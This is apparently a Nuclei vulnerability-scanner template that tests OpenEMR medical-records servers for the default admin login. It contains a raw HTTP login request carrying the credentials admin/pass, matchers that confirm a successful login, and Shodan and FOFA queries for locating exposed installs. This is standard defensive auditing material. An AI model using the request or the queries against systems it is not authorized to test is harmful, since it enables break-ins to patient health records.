50 lines
1.3 KiB
YAML
50 lines
1.3 KiB
YAML
id: openemr-default-login
|
|
|
|
info:
|
|
name: OpenEMR - Default Admin Discovery
|
|
author: Geekby
|
|
severity: high
|
|
description: OpenEMR default admin credentials were discovered.
|
|
reference:
|
|
- https://github.com/openemr/openemr-devops/tree/master/docker/openemr/6.1.0/#openemr-official-docker-image
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
|
|
cvss-score: 8.3
|
|
cwe-id: CWE-522
|
|
metadata:
|
|
max-request: 1
|
|
shodan-query: http.html:"OpenEMR"
|
|
fofa-query: app="OpenEMR"
|
|
tags: openemr,default-login
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
new_login_session_management=1&languageChoice=1&authUser={{user}}&clearPass={{pass}}&languageChoice=10
|
|
|
|
attack: pitchfork
|
|
payloads:
|
|
user:
|
|
- admin
|
|
pass:
|
|
- pass
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "main.php?token_main="
|
|
- "OpenEMR"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 302
|
|
|
|
# digest: 4b0a00483046022100ca28f5e1b3bd9306613c33ba95a3e324fc42d6af06705e4ab3094d4d3ae1226e02210082e6c7488aa1b6e3ed88dc0c546d05aab2bc3c2b22bdad42fff78b31180d449d:922c64590222798bb761d5b6d8e72950
|